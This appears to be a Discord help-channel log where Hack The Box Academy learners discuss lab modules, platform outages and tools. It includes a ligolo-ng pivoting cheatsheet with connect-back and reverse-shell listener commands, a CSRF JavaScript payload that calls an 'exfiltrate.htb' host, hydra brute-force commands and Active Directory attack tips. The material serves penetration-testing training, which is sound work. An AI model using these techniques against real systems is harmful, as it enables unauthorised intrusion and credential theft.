modules

[placid edge]

when i get home from work ill play aroud with the tunneling exam using ligolo-ng instead

[barren salmon]

what do you use to write your technical and non-technical documentation?

[placid edge]

Usage, Server

sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up
sudo ip addr show ligolo

./proxy -autocert

Usage, Client

./agent -connect [attcker_ip]:11601

Add network route to access vicitim subnet

sudo ip route add [victim ip-subnet] dev ligolo

Start proxy

start #start tunnel

Now you are able to scan for internal machines and act like the devices are on the same network.

Jumpbox, Connections back from internal victim -> victim -> attack_machine

To do this we go back to our agent-cli and use the following command:

listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp

damn doesnt seem so bad lol

ligolo-ng cheatsheet if anyone want it

[quick magnet]

i just try ligolo-ng also, but not yet try in attacking enterprise module
how about double pivoting ?

[placid edge]

To do this we go back to our agent-cli and use the following command:

listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp

then we can host reverse shells on 10000 port

https://www.youtube.com/watch?v=qou7shRlX_s

pretty sweet video

i mean i havent tried any of this its all based on what johnny said

[quick magnet]

agree just watch it

[tulip dragon]

I am currently following cpts path and I am on active directory enumeration , I find it hard to grasp all that can i skip to next module (web proxies) and do AD after that?

or is it not right to skip it rn

[lapis pelican]

What does without blocking the calling thread mean here? What is calling thread and what does it do?

[tranquil axle]

"calling thread" is the thread/process that executes this function. In the programs you have done you probably only had one thread, the "main" thread, but in programming it is possible to have several "threads" run in parallel and work at the same time. This can be useful if you have some operations that take very long (like reading a file from disk or downloading one), then you can offload these tasks to one thread while the original thread continues doing other work

[lapis pelican]

Is this sharing of workload called multi-threading that we do in programming? I have worked with multi-threading in python to finish a task in a very short time.

[tranquil axle]

yup, and as the name implies multi-threading just means more than one thread. The issue with "blocking" (in your example above) is if you have for example a application that runs a user interface, then the user interface could run on the main thread and as soon as someone presses a button in the UI to download something and the download is also in the main thread but blocking, then the whole UI will freeze until the download is finished. Thats not very userfriendly

[dry halo]

Now, let's say the head chef (calling thread) decides that it's time to start baking bread. The head chef initiates the process by calling the baker (another thread) and saying, "Start baking the bread now." In this analogy, the head chef is the calling thread because they are the one initiating a specific task.

[lapis pelican]

Understood. That clears it up mostly. So, in our powershell command, it will download the file in the background I guess and let us use the CLI as well?

[lapis pelican]

That was a great example, thanks a ton.

[dry halo]

I am in the metasploit module and I saw this scenario where you are not given permissions to delete stuff. The module goes in a way where you gain higher privileges. so what can we do when we don't have a way to escalate. how do you delete your trace

[tidal kelp]

Any ideas on this?

[candid lily]

...

[rustic sage]

this is more like HTB feedback.

[tranquil axle]

if you have such leftovers in the system and can't delete them then you need to put them in your report (same as any new user accounts you may create) so that they can be cleaned up after your pentesting is over

[rustic sage]

My head hurts.. damn it..

[candid lily]

try different exploit maybe

[dry halo]

||https://forum.hackthebox.com/t/academy-linux-privilege-escalation-sudo-user-cannot-run-sudoedit/291676/24|| check the thread

[dry halo]

thanks

[candid lily]

does spawning target work for everyone

[tidal kelp]

ah. worked. no I just need to figure out how to read the damn thing 🙂

[fleet belfry]

I am still having problems with targets spawning. Does anyone know why this is happening?

[placid edge]

i took a break from it and did the rest. Now i need to go back and continue the ad lab

[candid lily]

i changed vpn to EU server and it worked

[tidal kelp]

being going through man on || ncdu|| but can't figure out how to read the file. Any hints?

[urban sage]

Upstream issues I have heard. Contact support.

[dry halo]

almost there try a little bit. read the thread again -x

[unkempt ether]

attacking common services - medium
used subrute i found app.inlanefreight.htb afterwards i tried to zone transfer
then i saw a hint to nmap -p- but when i do that for some reason there is no return
i used nmap a normal scan i found ssh,ftp(2121),dns
i tried to brute force the ftp with hydra
now im brute force ssh with hydra hoping it works
anybody wanna push me to the right track?

[oblique spoke]

Yo

[fathom pendant]

There is a high numbered port that's missed here I believe. One of the services has a wordlist or something

[topaz holly]

How is this used in the context you were talking about? Is this a method for dropping files with SQLi?

[unkempt ether]

im unable to get a full scan with nmap -p-
so i rushed it with nmap -p- -t5
hoping to get it faster but nothing showed up

[tame palm]

Yea its some stupid high number like 35000+

[unkempt ether]

do i have to wait the with just nmap ip -p-?

[topaz holly]

Is there a firewall?

[tame palm]

What other args are you giving

[unkempt ether]

was giving nmap -t5 ip -p-

[unkempt ether]

nope

[tame palm]

i gave nmap -sV -T4 -p- {ip}

[topaz holly]

You sure? Are any ports coming back filtered?

[unkempt ether]

alright i will give it a try

[tame palm]

mine took about 2-3 mins

[unkempt ether]

nope when i tested just nmap ip it works fine

[tame palm]

try also using -v and --stats-every 5

[topaz holly]

sV is service detection. --source-port 53 or Pn could help for a quick scan

[tame palm]

youll be able to see how long its taking

[tame palm]

can i dm so i dont spoil for him

[topaz holly]

DM me?

[tame palm]

yea

[topaz holly]

Why

[tame palm]

.

[topaz holly]

I don't know what box you guys are talking about 😭 I'm just offering advice

[tame palm]

oh nvm then 😭 i dont think flag is visible without sV thats all

[fathom pendant]

I had no issues with sudo nmap -p- ip

[fathom pendant]

This one doesn't have the flag in the version

[tame palm]

ah must be a diff one

[fathom pendant]

They've changed this one a few times

[topaz holly]

Yeah I'm just offering advice.
Sometimes I will just do a quick scan and not service detection if I suspect there to be a high port or if the low ports don't seem to yield anything.
Then I'll banner grab and look for versions based on banners. If I see nothing there, of course I'll have to use nmap for it's good fingerprinting service detection.

[fathom pendant]

This has nothing to do with version info: it's all about enumeration and trying things

Sometimes anonymously

But if you don't know the port then you're sol

[unkempt ether]

💀 my nmap ip -p- finish time is 2hr and it is slowly increasing

[fathom pendant]

You might need to restart the lab and wait a few minutes

[fathom pendant]

Sounds like you might need to change vpn regions then

Connection issue, it shouldn't take 2 hours

[unkempt ether]

im using the pwnbox

[topaz holly]

Yeah it's tough when them ports are up high and you don't do a comprehensive scan right off the bat.

In HTBA though I would say you should approach the boxes more professionally than you would on a HTB box. In HTBA you can really practice your methodology and in HTB you can try to be a speedy boi.

[fathom pendant]

Changing vpn regions would still affect it

But first try resetting the lab

[languid wharf]

General question, when I'm on a reverse shell and got creds to another user, and I have no where else to use them (no other services to log into) I'll want to use runas. Unfortunately, the password prompt closing immediately, how can I bypass/overcome it?

[tame palm]

well thats great but i dont know how to do it fast or professionally 😭

[unkempt ether]

i will try and change the vpn i reseted the lab a couple of time already

[fathom pendant]

Try relogging into that service with the new creds

[languid wharf]

I can't relog into the service, it's a rev shell from web application deserialization attack

[fathom pendant]

Wild concept: log into the web app with creds?

[topaz holly]

That's what practice is for.
HTBA does a great job of describing a penetration testers role in a real engagement.
You have targets in your scope, and you need to make a non destructive comprehensive analysis of any security issues, while documenting what you find to be replicated and reproduced, and then provide simple suggestions on what the client can do to fix it.

[languid wharf]

Not really a web app, sorry. It's an IIS webserver vulnerable to deserialization attack

[soft viper]

I have problem with bypassing basic authentication lab. When I intercept reset request and change GET request to HEAD and forward it I am again prompted to log in. Does anyone had the same issue?

[topaz holly]

Consider that things are going well right now

It would be very interesting to download this chat and make a model that filters for all problems with boxes and labs and find the solutions people replied to them.

Then use that model to gain a deeper understanding of what people can truly do to move forward with their labs and boxes.
Seems like a big thing that happens is we get a little disoriented; may be on the right path but simply get off track or down a rabbit hole.

[soft viper]

Totally agree. I left mentioned section for now and moved on to next ones. Will come back to it after. Meanwhile, if you have any recommendation for it I will appreciate it.

[topaz holly]

Reread over the lab material. To me it seems like it's working as intended. As I was talking about you may be getting a bit misguided. Thinking you are off track when you may not be.

[tidal kelp]

hmm still dont get it to work...

must be missing something here

[unkempt ether]

thanks no clue why t5 had issues after waiting like 20 min i found the port

[boreal hull]

Hey Guys! I'm strugling a bit with module "Pivoting, Tunneling and Port Forwarding." I'm looking for extra sources of information regarding this module. Is there any introduction or recommended book to understand this module better? Thank you soo much!

[midnight galleon]

hi there, yet again with linux Privesc module
in the logrotate section, from what i understood, the root should rotate the logs in order to trigger the race condition which logrotten exploitss, but it never rotates and keep stuck on that

[twilit plover]

Having connection issues here. The US Academy VPN is lagging. EU is too slow for the Pivoting RDP exercise.

[severe eagle]

Hey anyone completed procedures on the module intro into assembly language Im having bit trouble?

[tidal kelp]

Just did that. make sure to run the payload while you echo som random text in to the log file to trigger a rotation

[topaz holly]

I believe it's because the T5 argument doesn't allow the nmap socket to connect for long enough to retrieve the banner. Could try going to T4 instead to avoid this issue if you suspect it to be happening.
T3 is default nmap speed if you do not specify the flag explicitly.

[rustic sage]

I ended up using CA (canada, i believe) low ms

[fathom pendant]

That's pwnbox location, separate from vpn

[rustic sage]

ah right... sorry

disregard, @twilit plover

[twilit plover]

Yeah the US VPNs don't let me spawn the target. EU 1 spawns but I think it is so slow that I can't complete the RDP connection in the SOCKS Over RDP section. Will keep trying EU in the meantime.

[topaz holly]

Like, currently or in general? I was just connected to an rdp session on a US server pwnbox yesterday.

[twilit plover]

The portion that requires you to proxy all traffic through RDP and connect to the last machine to get the flag. Bandwidth seems to be so bad at that point that the connection drops even after setting mode to Modem 56K

[topaz holly]

https://tenor.com/view/unicorn-dance-oh-yeah-woot-woot-woot-gif-15618935296991117767

May the odds be ever in your favor

[ruby whale]

I skipped Double Pivot section after trying for 2 days, will attempt it at last

[nimble socket]

I am unable to spawn targets in the US either

[heavy lily]

i am at the skill assesment for the Injection Attacks module. Anyone here to discuss some methodology about xpath injection. i basically can enumerate the xml file but i am struggling with extracting the data.

[midnight galleon]

did so but still

[unreal granite]

is there someone who has problems with spawning targets or is it just me ?

[snow ridge]

I had small delays today, but nothing bad

[ashen night]

All day yesterday and today. Switched VPNs TCP, UDP... Locations everything.. Targets wont spawn at all.. Trying to open a ticket but been waiting an hour and a half

[rustic sage]

all these problems probably happen because so many youtubers are recommending HTB and they werent ready for the crazy amount of people on their servers. thats my guess

[unreal granite]

iam also trying now for hours but it just wont work 😦

[misty current]

You can DM me

[unreal granite]

maybe

[teal breach]

hello, anyone can give me some hint for Attacking Common Applications - Skills Assessment II - What is the admin password to access this application? ?
I already tried to register a new account but i got rejected

[rustic sage]

Hey, so my dad is gona buy me VIP if I get just more progress in academy so I am doing the basics. :) anyway, I am stuck where it is asking for the htb-student mail location, I tried telling it /var/spool/mail and cat /etc/passwd and the location that returned for mail and none of them are working, what is it wanting here? Here is the exact question, "What is the path to the htb-student's mail?"

[fathom pendant]

env

Just because the folder may not exist doesn't mean that's not where it is

[rustic sage]

alr ty, for future refference, what does it mean by mail?

[fathom pendant]

Mail. Messages.

Email

[rustic sage]

huh ok, ty :)

[shrewd hazel]

is something wrong with HTB right nmow?

literally this is the right syntax to connect to database

even tried with the sudo command too

[rustic sage]

capitals?

[shrewd hazel]

sql isnt case sensitive

[rustic sage]

SHOW DATABASE;

[rustic sage]

it what ... how did I not know that XD

wait this

https://stackoverflow.com/questions/36132063/ignoring-query-to-other-database-command-line

you might need the -uroot it says

I see in the image here that it is just -root

[shrewd hazel]

that worked

[rustic sage]

:)

[shrewd hazel]

lmao, no where did it mention uroot in module section

[rustic sage]

#858470491676737536 ?

is that an error you think?

[shrewd hazel]

in fairness, there is an error on HTB site

[next bronze]

that's not an error -u <user> to specify the username to use, standard sql cli syntax

[rustic sage]

-uroot not -u *space * root is that the same?

[shrewd hazel]

yea i messed up syntax actually lol

[next bronze]

y

[shrewd hazel]

my bad entirely,

[rustic sage]

oh alr ty

[oblique spoke]

Hello everyone! On skills assessment in web attacks moduel i got the user and the token but a cant change the password. It sais access deny. Can someone give me a hint what to do next?

found it 😄

[exotic dagger]

Dumb question, but I'm kinda new.

A lot of metasploit modules just use meterpreter's reverse shell
Which seems to be using my own private IP and not the tun0 IP

How do I get it to not do that?
Do I even need to?

[tropic relic]

Are you setting lhost to tun0 or it's ip?

[next bronze]

yes it should be your tun0 ip, set lhost <ip>

[exotic dagger]

the module in question here doesn't list an lhost as a basic option, is that just something that's universal?

[next bronze]

if it's a reverse shell you need to set the lhost properly

[lusty thicket]

you might be restricted through post requests

[exotic dagger]

ah, well 'set LHOST' seems to be valid, even if it's not an option on the module itself so I guess it's just a universal option you can set on all of them.

[lusty thicket]

😉

[stray scaffold]

Depending on the payload selected, the LHOST option might not show up. If you're using a reverse anything payload, it should be there though.

[oblique spoke]

yeah after i wrote i found it myself thx

now i am stuck with xxe

[languid wharf]

still need help?

[teal breach]

yes please

[oblique spoke]

managed to pass that to i just needed to tweak some shit, this thing was not that hard after all

[onyx dust]

i'm hacking today. 8-)

[real lion]

I am in skills assesment of xxs in cbbh my terminal is showing "Closed without sending a request; it was probably just an unused speculative preconnection" is my script wrong?

nevermind! got it

[onyx dust]

w00t~!

i'm finally done with the penetration tester modules.

[rustic sage]

can anyone help me with something? I keep getting an error when i try to open one of the machines (im in the tutorial)

[exotic dagger]

Oh, I finished the getting started module but don't have enough for the next one.
Sadge.

[rustic sage]

ah yeah i messaged diablo about an hour ago to let him know

[fathom pendant]

Or perhaps they pushed what they believed to be a fix and are asking if your issues have since resolved

no need to publicly bash what you assume to be "nothing happening" when they're probably still trying to fix it

[tulip bobcat]

yeah agreee my mistake for crying out loud 😄

it's just been about 9 days or even more so hopefully they can fix the issue in a month

[fathom pendant]

Shit happens, purportedly it's an upstream issue through their hosting provider

[tulip bobcat]

yep and that's even worse as it's not really up to them 😦

[fathom pendant]

so they're doing their best. Just doesn't help much on support response times when everyone is messaging support ¯_(ツ)_/¯

[tulip bobcat]

👍

[long basin]

Should be quite simple one word answer

the exact name is one of the submodules you did prior to this question

[novel rover]

https://academy.hackthebox.com/module/67/section/640
Windows Privilege Escalation -> Credential Hunting -> Search the file system for a file containing a password. Submit the password as your answer.

I found 2 passwords and both incorrect... any hints?

[long basin]

Will say first letter is capitalized

[next bronze]

make sure there's not a space

[bitter mason]

Hey guys, i am a CS student, but my Academic focus is more on hardware. Do you reckon i can just jump into easy ones or should i read up on something in particular first?

[novel rover]

I found 3 passwords and still incorrect =/

[copper rivet]

Working on the Footprinting Lab Medium using the pwnbox. Launched Remmina and I get a popup re: a news feed. I cannot use Remmina without dismissing the popup, and I cannot find a way to do so. Anyone encounter this issue and have a solution?

[agile torrent]

if you're new to it, I'd definitely recommend the 'getting started' and 'linux fundamentals' modules on academy

alternatively, if you're feeling confident, you can have a crack at the starting point machines and see how you get along

[bitter mason]

Thank you!

[rustic sage]

OMG the target finally spawned!!!

[heady osprey]

Big stuck at AD Enumeration & Attacks - Skills Assessment Part II. In one of the last questions: Submit the contents of the flag.txt file on the Administrator desktop on the DC01 host.

|| I've got CT059 hash, cracked it. I'm trying to run runas /netonly, but I need an interactive shell for that. I have the Administrator hash of MS01.
I'm trying to set up an RDP connection now but that machine performance is giving me hell. ||

[next bronze]

did you do something with the GenericAll rights

[heady osprey]

|| I found CT059 has GenericAll over Domain Admins, yes. ||

[next bronze]

yes did you take advantage of that

also your messages have anwers in them, either redact them or put it in spoiler tags

[heady osprey]

Well I'm trying to... I'm trying to authenticate as that user with /netonly

[hollow furnace]

Working on same box but not encountered any problems as yet

[heady osprey]

Thanks, fixed that.

[next bronze]

you don't need to login locally as that user

[heady osprey]

What do you mean? I'm trying to add that user to the Domain Admins group... how else could I do it? Can you point me to the right lesson on HTB / give me a nudge?

[shut perch]

downtime

[onyx dust]

hackers

[heady osprey]

Got it!

[hollow furnace]

can anyone help? I am doing the footprinting medium lab and I have the RDP running. I have the credentials for 'sa' but cant connect to the sql server. If this is normal then fine, i'll try work out what needs changing but if not I may need to reset the box..

[next bronze]

run as admin

[hollow furnace]

I did try that but either the sa account pw is not the same as admin or when i type the "@" symbol which is n the password its going through as something else. Thank you though, i'll keep trying

Yeah, its going through as " ' "

[next bronze]

probably a keyboard layout issue? see if you can copy it over instead

[hollow furnace]

there isnt a paste option, im just going to open powershell and figure out which key is @

found it. Thank you @next bronze

[fathom pendant]

You can definitely copy/paste lol

Ctrl-c/ctrl-v

[hollow furnace]

Just tried it again, doesnt work... not sure why

I can paste into normal fields but not the admin pw one

[next bronze]

I don't think the UAC gui lets you paste the password

[lusty thicket]

hecker

[fathom pendant]

Maybe. But you can always log in as admin

[hollow furnace]

Thats what i did, it was just a keyboard layout problem. My ' and @ got switched round

[fathom pendant]

Ah

Non us-qwerty

[hollow furnace]

yep

[real lion]

I dm'd you. You are going to feel silly but don't. HTB is "tough" sometimes. Let's just put it that way. I bet I spent longer on this than you.

[low crescent]

Module: ADVANCED XSS AND CSRF EXPLOITATION
Section: Lab Warmup
Question: Use the lab components to exploit the CSRF vulnerability to get your user promoted to administrator

I am having having troubles making the simulated user to execute CSRF. I'm using the following JS payload, which works when I visit the page, but the simulated user does not seem to do an actual user promotion:

window.location = "http://csrf.vulnerablesite.htb/profile.php?promote=htb-stdnt";

I have tested the same logic to check if the request gets logged, and it does get logged, confirming that the code actually gets executed by the simulated user:

window.location = "http://exfiltrate.htb/test-csrf";

[rustic sage]

Having a bit of trouble understanding LLMNR poisoning, I understand how to do it and what's happening, but how often is it that a machine will perform a query for LLMNR/NBT-NS? In the lab environment i makes it look like it's always happens but I figure that's not the case in the real world?

[late moth]

So I'm in the Windows Event Logs & Finding evil Modle. and came to the questions "analyzing evil with sysmon and Event logs" the question ask "Replicate the Unmanaged Powershell attack described in this section and provide the SHA256 of clrjit.dll that spoolsv.exe will load as your answer. So I ran the powershell attack, but sysmon logs arent showing any activity for the last like 30+ minutes

i clicked "refresh" on the actions pane, but nothing new loads

tried closing event viewer and reopening it with no success

[rustic sage]

Help please

My account on Facebook got hacked

[fathom pendant]

We can't help you with that

[next bronze]

call mark, we can't help you

[rustic sage]

Why

[fathom pendant]

Reach out to Facebook support

[dire abyss]

uhhh

[rustic sage]

They done nothing

[slender shoal]

Howdy

We cannot assist you. You must reach out to the facebook support.

[fathom pendant]

Then you're SoL if you can't log back on and change your password

Take it as a lesson not to download/click random shit

[dire abyss]

are questions like that pretty common in here? lol

[fathom pendant]

At least 5x a week

[late moth]

i just assume they are trolls

[fathom pendant]

Or misinformed/don't know how to read the basic #welcome of any discord

[next bronze]

did you kick the guy lol

[slender shoal]

Nah, but fancy green shield. 😂

[topaz zenith]

Is there anyone here who can tell me why the flag I got on the SQLMap Essentials Table#5 is wrong?

[slender shoal]

Check for whitespaces.

[topaz zenith]

Did that

Don't want to post what I got here for obvious reasons

[slender shoal]

Can you dm me?

[barren anvil]

Hello!

In the module Firewall and IDS evasion hard lab

I'm stucked, is there anyone who can help me with?

[rustic sage]

I don't understand, why would Microsoft have LLMNR use a users hash? it doesn't really make any sense,

could it be because the DC needs this info? really bizzaire idk how microsoft didn't see the danger

[next bronze]

just fk around in the gui, or search up how to write a query to find a specific user

[oak ocean]

I am getting the following error in HackTheBox academy webpage:
We are currently facing some issues with targets spawning Try switching VPN servers and respawning the targets
I changed VPN servers, but that did not help. Anything I else I can do to fix that?

[fathom pendant]

Just keep trying and changing servers

¯_(ツ)_/¯

[slow fiber]

sometimes starting other modules will allow u to start the other, but overall I'm getting the same issue, trying to go through ad modules, tried starting others, switching servers ect still wont spawn instance.

[oak ocean]

Same here. I am in the AD module and I can't spawn any VM even after changing to different VPNs.

[slow fiber]

yeah really annoying been like this for a few days for me

[stoic pagoda]

Hello,

I'm considering the student subscription plan and would like to know: Once my subscription expires, will I still have access to review the modules I've already completed during my subscription period?

[agile torrent]

as long as the module is completed, you'll have full access to it regardless of plans / subscription expiry

[onyx dust]

yes

[stoic pagoda]

alright, thank you very much

[onyx dust]

i am done with the academy and only have notes on one computer and the modules have helped me to help other students i know get to the answer when they are really frustrated

the updates on the modules are also free but you have to keep checking to see when they've been updated

[rustic sage]

yo

[small sage]

I'm stuck on this as well, do you have any tips?

[lusty thicket]

that’s a good module

[steel gorge]

Thanks friend. I'm not new to programming (like, really not new) but the infosec world is rather spicy haha.
I'll be alright but it's just like development. There's usually the equivalent of a missing semicolon somewhere

[candid lily]

how can i close this

[cedar void]

Are yall still facing these issues with spawning machines too

[modern epoch]

try to add the server port in your payload, or actually you can remove all the domain part for redirection in this case that will work.

[modern epoch]

Yes, windows will do that by default if it can't resolve a name using the DNS server configured at the domain/machine.

[modern epoch]

Recheck if the sysmon process is running correctly with the specified configuration. It seems to be a problem there

[late moth]

sysmon was running with the correct config. I had to kill the target VM and respawn it to get it to work properly.

[sleek gulch]

yes

[candid lily]

anyone know how to remove ingested data from bloodhound?

[rustic sage]

I would say just restart it :>

[rustic sage]

What worked for me was to switch the vpn provider (not for the pwnbox) from US to EU. it looks like the US has some issues

[neon minnow]

[onyx dust]

When world of Warcraft got ddosed for a little less than a week they gave everyone a free month of subscription

[thorn urchin]

HTB too stingy for that

[onyx dust]

HTB is a good sponsor of community events and gives away a lot of merch to encourage people to play the CTF and just do CTF in general.

They are not stingy.

[thin parrot]

Is somebody able to tell me why (when employing the find command) that "*.extension" is different than the same thing without quotations?

I read online it has something to do with the wildcard aspect of * ? I couldn't make much sense of it as a supernoob rn

[candid lily]

im using the docker version, even if i restart, it retains

[burnt gyro]

hi, I forgot to cancel my subscription, and HTB academy charged me $490. I don't want to subscribe for 2024, and I want to get the money back. Is there any way that I can get my money back?which email should I send for this question?

It's so fucking hard to find "cancel subscribe button"

[candid lily]

how to remove ingested data from bloodhound

[burnt stone]

clear sessions/databases

"You can either hit "Clear Database" under the Database info tab, or just start a new database by pointing the Neo4j gui to a blank folder. It'll make a completely new database for you in that folder"

[candid lily]

where is it

im using the docker version i cant find it

[candid lily]

there are three input files here but idk how to remove them

[burnt stone]

Oh you are using CE. You shoul of mentioned that

I have no idea in CE

[candid lily]

they are conflicting and giving wrong results

[burnt stone]

Just purge the whole db

[candid lily]

it says recreating database but was still there :(

[autumn pilot]

reach out to support

[empty imp]

Has anyone managed to spawn any lab module boxes? After yesterday, I cannot spawn anything no matter which VPN I switch to. Only EU 1 works, but that too not always.

And it's extremely slow.

I've been facing this since months now.

[candid lily]

ahh its so frustrating how do i delete those dbs

[empty imp]

What do you need help with? Clearing the Neo4j DB?

[empty imp]

Make sure your Docker compose file exposes the Neo4j UI and Neo4j DB ports (they're commented by default), and then after logging in to Neo4j UI, run this query: https://neo4j.com/docs/cypher-manual/current/clauses/delete/#delete-all-nodes-and-relationships

Neo4j default credentials are mentioned in the Docker compose file.

This is for Bloodhound CE. I'm sure the other editions work in the same way.

[upper haven]

DM me

[novel rover]

Hello! Is everyone having problems with spawning targets?

[hushed ivy]

Footprinting Lab - Hard

How can I find Tom's password?

I found it but the password is not written

[dusty dew]

Hi everyone,
I'm doing the Intro to Assembly Language, Skills Assessment 1. I am getting constant Traceback errors with python that won't allow me to execute anything when using pwntools. Does anyone know how to fix this?

[supple oracle]

I have been unable to generate a target machine today, it's crushing🥲

[cobalt osprey]

can someone help me with "intro to assembly language skill assessment part 2" i have a code but it is not working

[rustic sage]

hola

[naive terrace]

hola

[rustic sage]

que tal?

[naive terrace]

well..im new , i want to leren , will you teach me?

@rustic sage ?

[hushed ivy]

Will we find Tom's password with smbwalk?

[fathom pendant]

Solo Ingles, #rules

[fathom pendant]

You should exhaust all tools before asking for help

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[fathom pendant]

^

¯_(ツ)_/¯

[hushed ivy]

I found the community name but it doesn't give Tom's password

[fathom pendant]

You gotta use it with a tool to find a password

[placid edge]

well i mean smbwalk isnt nessesary. Just easier

[fathom pendant]

The braa command is very succinct as well

The braa syntax they give works wonders

[fathom pendant]

Btw you can't post large blocks of text, you need to link your app.hackthebox.com account to the discord, read #welcome

Second, add ``` before and after large blocks to allow people to read them easier

But I can guarantee that both smbwalk and braa with the string you get from onesixtyone will work

[placid edge]

ah true braa is a tool. Thaught it was a compiling tool for some sick reason lol

[fathom pendant]

Lol yeah the output from braa is waaaaay shorter

[placid edge]

@fathom pendant is it true that TGT pre-auth must be disabled for a kerberoasting attack?

idk if you know you know

[fathom pendant]

¯_(ツ)_/¯

[placid edge]

😄

[placid edge]

never mind, Kerberoasting is based on useraccounts and passwords but the AS-REP is (possibly) vulnerble if pre-auth is disabled because of timestamp encryption issues

https://luemmelsec.github.io/Kerberoasting-VS-AS-REP-Roasting/

[dreamy trail]

Are the SSH prompts for target boxes super laggy for anyone else? It literally takes seconds to respond to writing commands, let alone executing them.

[fathom pendant]

@vivid igloo ask here, my dms aren't open

[next bronze]

reinstall pwm tools, also what error

[rustic sage]

Hello everyone ... im stuck on Password Mutations inside the Password Attacks module.
the question states: Create a mutated wordlist using the files in the ZIP file under "Resources" in the top right corner of this section. Use this wordlist to brute force the password for the user "sam".
I know the machine is running a couple of stuff ... so what i tried until now is after mutating the password.list with custom.rule i ran crackmapexec on smb and hydra on ssh with no results after at least an hour of running.
Do u guys have any tips ?

PS: i used hashcat to mutate the list

[fathom pendant]

Don't attack ssh

Ftp should also be open, and you can increase threads with hydra

[vivid igloo]

hey so i was doing a bug bounty and in a certain request i modified a prem in the request and am getting a 500 internal server error

thats a bug right

@fathom pendant

[rustic sage]

@fathom pendant Thank you 🙂

[fathom pendant]

Don't ping me

[vivid igloo]

ok

[fathom pendant]

Ah this has nothing to do with academy, read #welcome to find out how to access more of the server

[vivid igloo]

ok

[dreamy solar]

Hello I don't know to use Aquatone can you help me plz?

[fathom pendant]

You need to supply it with a site or ip I believe

The module that refers to it should give you the syntax

Or aquatone -h?

[tulip dragon]

in web proxies between zap and burp do we have to use 1 of them or both

coz i am comfortable with burp

[dreamy solar]

Unfortunately there isn't much info in the module.

[fathom pendant]

You should be able to throw a site at it

[dreamy solar]

with what kind of url?

[fathom pendant]

Any? Idk I didn't really use it, it's clunky

[dreamy solar]

For example, but this url it is not okay ^^"

And the question I test all 3 words in this page it is not okay

[next bronze]

you clearly haven't tested all of them

it's the most obvious one

[fathom pendant]

What is a header

You mistyped one

Also make sure you don't have extra spaces

Message support then dude

If you believe it's a technical error not letting you pass it

What module/section is this?

[dreamy solar]

Yes I do I wait

ATTACKING COMMON APPLICATIONS

Application Discovery & Enumeration

[fathom pendant]

Maybe it's expecting Of to be capitalized

[next bronze]

are you sure there's not an extra space at the end

[dreamy solar]

nope ^^"

[dreamy solar]

yes

I find finaly thanks

Aquatone it is not complicated

[rustic sage]

Hey ... I'm sorry to bother u again ... im almost on password 30000 on the mutated password list with no hits, i raised hydra to t 32 and let it lose on ftp as advised.
those are the only ports i can see open on the machine ... 21, 22, 139 and 445. i attacked smb and ssh (stopped attacking after MarcielLee's advice) and now ftp.
a -nP -p- scan doesnt give results back after 15 minutes so i dont believe there is a port beyond the standard search.

[fathom pendant]

It should work just fine

smb you might need to add --local-auth

For cme

[rustic sage]

okay thanx again ... i will try that 🙂

[lusty thicket]

try a valid answer

[wanton wolf]

i cant ssh or rdp to amy target..anyone experiencing the same?

[molten prawn]

attacking common applications - osTicket.

a huge skill issue apparently. i have the password i believe but the user to log in with i just can't find

[molten prawn]

change VPN server and respawn the target

theres a big banner stating that on the website already

[candid lily]

omg that worked tysm i was pulling my hair

[next bronze]

you can just remove the container, don't even need to login to neo4j

docker container ls
# find the container that ends with "graph-db-1"
docker container rm <that container>
docker volume rm $(docker volume ls -q | grep neo4j-data)

[candid lily]

i tried removing all containers but it still retained

but i didnt remove volume i see

[fathom prairie]

For the password attack modules: Create a mutated wordlist using the files in the ZIP file under "Resources" in the top right corner of this section. Use this wordlist to brute force the password for the user "sam". Once successful, log in with SSH and submit the contents of the flag.txt file as your answer.

How long is this supposed to take?

Ive made a mutated wordlist using hashcat and im using hydra to login as sam for ssh

the estimated time is 19 hours

Do I really wait here for 19 hours? Ive been waiting for about 30 minutes

[placid edge]

nope

its not 19 years but might be 1

[fathom prairie]

Is that for real

I gotta wait an hour x-x

[haughty stirrup]

Ur doing something wrong

[fathom prairie]

thats what im thinking

[placid edge]

nah it takes a very long time. But try splitting that mutated list into different b-word,c-words ect

[fathom prairie]

i turned up hydra to t 64 to

[fathom prairie]

run multiple instances?

to cut my time or something

[placid edge]

no, just split the words and you can sort out that list

ect

so like if you tried all a words, you can try the b list. Also run the attack against ftp and not ssh

[fathom prairie]

what do you mean?

by sort

[fathom prairie]

oh, the question said login with ssh so I assumed to use ssh

[haughty stirrup]

password reuse

[placid edge]

just split up the list so it doesnt take so long. its going to take a loooong time untill it hits the z words and ect

[fathom prairie]

does hydra not let me know found credentials as its runnning..? or does it wait until the end to say it

Otherwise i dont get what difference it would make splitting it up if its just going to go through all the same words

[placid edge]

i mean yes

[fathom prairie]

password reuse..?

[haughty stirrup]

Sometimes people have the same password for multiple services no?

Unsafe practice but exists

[fathom prairie]

aah thats what you meant. I thought you were implying that it was going to be the same unmutated passwords as before lol

[haughty stirrup]

Haha oh no sorry

[hallow kiln]

Ssh is notoriously slow to brute-force

[haughty stirrup]

I do remember that module does take a while but not 19 hours lol

this

[fathom prairie]

yeah thats a mb because i didnt scan the service for anything else, i just assumed to use ssh since the question asked for it

[fathom prairie]

you have like a list of the fastest to slowest things to brute force?

or a quick rundown from memory

[haughty stirrup]

just something to always keep in mind! No worries, ftp is much faster to brute force

[fathom prairie]

F

[hallow kiln]

It says to log in with ssh to get the flag, but that doesn't mean you have to brute force that service specifically, there's more things running on the box

[fathom prairie]

yeah i tunnel visioned

this command is right though right: hydra -l "sam" -P plist.list -t 64 ftp://IP

[hallow kiln]

Don't have a list, ssh is just super slow, FTP is quite fast, smb and rdp are somewhere in between, just observation

[next bronze]

yeah make use of whatever is running, but kerberos/ldap is usually the fastest then http/s, rdp and ssh are some of the slowest

[fathom prairie]

thats a good enough list for me.. just something for me to keep in mind

[next bronze]

isn't rdp pretty slow or am I remembering wrong, but you don't usually brute rdp

[hallow kiln]

Oh yeah, Kerberos, right, kerbrute goes brrr

[hallow kiln]

It's slow, I think not ssh slow, but I could be misremembering too

[next bronze]

yeah usually there's no reason to brute it outside of trying one or two common ones

[brisk socket]

Hi guys, I need some guidance, if you can help me. I'm stuck on the "Passwd, Shadow & Opasswd" lab for the Password attacks module.
